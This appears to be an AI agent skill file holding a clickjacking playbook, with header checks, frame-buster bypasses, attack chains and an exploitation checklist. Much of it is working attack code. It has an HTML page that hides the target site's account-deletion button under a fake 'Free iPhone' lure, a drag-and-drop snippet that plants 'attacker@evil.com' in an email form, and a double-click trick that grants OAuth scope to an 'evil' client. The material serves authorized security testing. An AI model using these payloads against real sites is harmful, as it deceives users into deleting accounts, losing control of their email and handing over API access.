- name
- clickjacking
- description
- UI redressing — missing X-Frame-Options / frame-ancestors, frame-buster bypass, drag-and-drop, cursorjacking, double-clickjacking, and sensitive-action framing.
- allowed-tools
- Bash Read Write
- metadata
- {"when_to_use":"clickjacking ui redress iframe x-frame-options frame-ancestors framebuster cursorjacking double-click","mitre_attack":"T1059.007","subdomain":"execution","tags":"web-application, clickjacking, ui-redress, iframe, csp"}
# Clickjacking Playbook
Framing a sensitive UI under an attacker page lets a single victim click trigger
a privileged action (delete account, transfer funds, grant OAuth scope, confirm
2FA). Severity = severity of the framed action. Pages without `X-Frame-Options`
*and* without `Content-Security-Policy: frame-ancestors` are framable.
## 1. Detection — framing controls
```bash
# Inspect headers on every sensitive page (settings, transfer, oauth/consent, delete, admin)
for path in / /account /account/email /account/delete /transfer /oauth/authorize /admin; do
echo "== $path =="
curl -s -D- -o /dev/null "https://<TARGET>$path" \
| grep -iE "x-frame-options|content-security-policy"
done
# Quick "is it framable?" probe — save to disk, open in a browser
cat > /tmp/cj.html <<'EOF'
<!doctype html><title>frame test</title>
<iframe src="https://<TARGET>/account/delete" width="900" height="600"></iframe>
EOF
# If the iframe renders the target UI → framing allowed.
```
Server-side allow:
- no `X-Frame-Options` header **and**
- no `frame-ancestors` directive in `Content-Security-Policy` (or `frame-ancestors *` / overly broad).
## 2. Misconfig matrix
| Class | Server behaviour | Exploit |
|---|---|---|
| No XFO, no CSP frame-ancestors | full framing allowed | classic overlay |
| `XFO: ALLOW-FROM` only | ignored by modern browsers | full framing in Chromium/Firefox |
| `frame-ancestors *` | explicit allow-all | full framing |
| `frame-ancestors 'self' *.target.com` | trusts every subdomain | host PoC on a takeable subdomain |
| Frame-buster JS only (`if (top!=self) top.location=self.location`) | client-side defense | `sandbox="allow-forms allow-scripts"` (no `allow-top-navigation`) defeats it |
| 204-frame-buster | response replaces self | `<iframe csp="sandbox" ...>` or pre-empt with `onbeforeunload` |
| Drag-and-drop sinks | sensitive textarea framable | drag attacker-controlled string onto target form |
| Cursorjacking | custom cursor + offset | misalign visible vs. real pointer |
| Double-clickjacking | first click opens prompt, second confirms | two-stage overlay (Paulos Yibelo 2024) |
| Touch / pointer gestures | mobile swipe consent | overlay with transparent gesture target |
| `Permissions-Policy` missing | camera/mic in iframe | request perms in nested iframe over consent UI |
## 3. Exploit PoC — overlay
```html
<!doctype html>
<html><head><title>Free iPhone</title>
<style>
body { margin:0 }
.lure { position:absolute; z-index:1; top:0; left:0; font:48px sans-serif }
iframe { position:absolute; z-index:2; opacity:0.0001;
top:120px; left:60px; width:400px; height:80px;
border:0; pointer-events:auto; }
</style></head><body>
<div class="lure">
Click <b style="color:red">CLAIM</b> to win an iPhone:
<button style="position:absolute;top:140px;left:120px;width:120px;height:40px">CLAIM</button>
</div>
<!-- aligned so the invisible iframe button sits exactly over CLAIM -->
<iframe src="https://<TARGET>/account/delete?confirm=1"
sandbox="allow-forms allow-scripts allow-same-origin"></iframe>
</body></html>
```
### 3.1 Drag-and-drop CJ
```html
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','attacker@evil.com')">
Drag me to win
</div>
<iframe src="https://<TARGET>/account/email" style="opacity:.0001" ...></iframe>
```
### 3.2 Double-clickjacking (browser confirm dialog)
```html
<button onclick="w=window.open('https://<TARGET>/oauth/authorize?client_id=evil&...')">Play</button>
<!-- victim's 2nd click lands inside the popup on the now-focused "Allow" button -->
```
## 4. Chains
- **CJ + OAuth consent** → silent scope grant → API takeover.
- **CJ + CSRF-token leakage** → click triggers a state change that reads token from the framed page.
- **CJ + self-XSS** → coerce victim to paste/drag the payload into a framed input.
- **CJ + 2FA confirm** → step-up auth confirmed under a lure click.
## 5. Tools
- Burp Suite — *Clickbandit* (point-and-click PoC generator)
- **clickjacker.io** / OWASP **Clickjacking Tester**
- Manual: any HTML editor + a browser with frame ancestors disabled in dev
## 6. Detection signatures & OPSEC
| Indicator | Detection method | OPSEC note |
|---|---|---|
| Framing from foreign origin | server-side referer logging | Host PoC on in-scope domain during authorized tests |
| Sudden spike in sensitive actions w/ short dwell time | UX analytics | Demonstrate impact with a single victim profile |
| Browser console CSP report-only violations | CSP report-uri | Validate prod CSP, not staging |
## Decision Gate: clickjacking confirmed → exploitation
- [ ] Target lacks `X-Frame-Options` and effective `frame-ancestors`
- [ ] Frame-buster (if any) bypassed via `sandbox` / CSP tricks
- [ ] A security-relevant action (delete, grant, transfer, confirm) is reachable in one or two clicks
- [ ] PoC visually demonstrates the lure → action mapping
If all checked, escalate per `finding-protocol`; otherwise downgrade to informational
(framable but no sensitive action).
عرض على GitHub